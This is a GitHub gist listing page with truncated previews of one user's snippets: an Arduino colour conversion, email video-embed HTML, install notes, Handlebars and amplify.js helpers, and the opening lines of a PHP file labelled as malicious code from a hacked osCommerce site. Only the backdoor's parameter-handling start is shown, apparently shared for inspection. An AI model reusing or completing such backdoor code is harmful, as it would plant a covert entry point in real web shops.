Skip to content

Instantly share code, notes, and snippets.

View strathmeyer's full-sized avatar

Eric Strathmeyer strathmeyer

View GitHub Profile
@strathmeyer
strathmeyer / gist:3329859
Created August 12, 2012 04:59 — forked from hdznrrd/gist:656996
HSV to RGB (Arduino)
void HSV_to_RGB(float h, float s, float v, byte &r, byte &g, byte &b)
{
int i;
float f,p,q,t;
h = constrain(h, 0.0, 360.0);
s = constrain(s, 0.0, 100.0);
v = constrain(v, 0.0, 100.0);
s /= 100;
<h3>TITLE</h3>
<ul>
<li>NAME</li>
<li>NAME</li>
<li>NAME</li>
<li>NAME</li>
</ul>
<table cellspacing="0" border="0"><tr><td style="width:302px;"><table style="text-align: center; margin-top: 5px; margin-bottom: 5px" align="left" width="320px" cellspacing="0" border="0"><tbody><tr><td style="text-align: center" rowspan="1" colspan="1" width="auto"><a href="http://api.powerinbox.com/content/redirect?url=http://www.youtube.com/watch?v=3J-zTFI5lmM" target="_blank" style="display:block"><img width="320px" height="240px" src="http://i4.ytimg.com/vi/3J-zTFI5lmM/hqdefault.jpg" border="0" style="display:block;margin-bottom:0px"></a></td></tr><tr><td style="text-align:center;font-size:10pt;font-style:normal;font-family:Arial,Helvetica,sans-serif;font-weight:bold" rowspan="1" colspan="1">What is #theCube?</td></tr></tbody></table></td></tr><tr><td align="center"><div><a href="http://plugin.powerinbox.com/install?app=PublicWidgetsApp" title="powerinbox-app=JVsOplfCZ8U9dI0+O0/fV0qg7ucW5HcZn71lOSvEMEnXGiyOE04E0ZQMY7WpGuk5Ls5qD9+9SzWBm1e/i5yMf7AEmC6cMNac/QjTlSwlwtfyp0FAHa0S91wHoLlwwGPs0MdSqpGUiLpah+eTGjt
YOUTUBE / VIMEO
before:
<table cellspacing="0" border="0"><tr><td style="width:640px;"><table style="text-align: center; margin-top: 5px; margin-bottom: 5px" align="left" width="320px" cellspacing="0" border="0"><tbody><tr><td style="text-align: center" rowspan="1" colspan="1" width="auto"><a href="http://youtu.be/a1Y73sPHKxw" target="_blank" style="display:block"><img width="320px" height="240px" src="http://i2.ytimg.com/vi/a1Y73sPHKxw/hqdefault.jpg" border="0" style="display:block;margin-bottom:0px"></a>
after:
<table cellspacing="0" border="0"><tr><td style="width:640px;"><table style="text-align: center; margin-top: 5px; margin-bottom: 5px" align="left" width="320px" cellspacing="0" border="0"><tbody><tr><td style="text-align: center" rowspan="1" colspan="1" width="auto"><a href="http://youtu.be/a1Y73sPHKxw" target="_blank" style="display:block"><img width="100%" height="240px" src="http://i2.ytimg.com/vi/a1Y73sPHKxw/hqdefault.jpg" border="0" style="display:block;margin-bottom:0px;margin-left:auto; m
{
"submitURL": "https://api.powerinbox.com/embed/video",
"slug": "youtube",
"defaultPostData": {
"type": "youtube"
},
"requiredFields": [
{
"type": "RegExpTextField",
"options": {
@strathmeyer
strathmeyer / gist:1695639
Created January 28, 2012 20:16
Mulberry on Win7
install RailsInstaller from http://railsinstaller.org/
clone mulberry from github. run install.sh
run bundle install
gem install evergreen
(may not be necessary. I did it to try to get the tests working, but rake kept complaining about not finding it)
install chromedriver.exe, add to path
create a .bat in /cli/bin that contains something like:
@strathmeyer
strathmeyer / handlebars.object_helpers.js
Created November 16, 2011 21:57
Handlebars.js helpers to iterate over objects
// HELPER: #key_value
//
// Usage: {{#key_value obj}} Key: {{key}} // Value: {{value}} {{/key_value}}
//
// Iterate over an object, setting 'key' and 'value' for each property in
// the object.
Handlebars.registerHelper("key_value", function(obj, fn) {
var buffer = "",
key;
@strathmeyer
strathmeyer / gist:1352253
Created November 9, 2011 17:51
amplify.js: Easily trigger a topic publish on a UI event
amplify.publishTo = function (topic) {
return function () { amplify.publish(topic); };
};
// Usage:
// $('#myButton').click( amplify.publishTo('myTopic') );
//
// Replaces:
// $('#myButton').click( function () { amplify.publish('myTopic') });
@strathmeyer
strathmeyer / malicious.php
Created January 22, 2011 01:09
Some malicious code found in a hacked osCommerce instance
<?php
if (@$_GET['cookies'] == 1) {
echo 'Cookies must be enabled !';
$tf='';
if (@$_POST['tf']) {
$tf = @$_POST['tf'];
}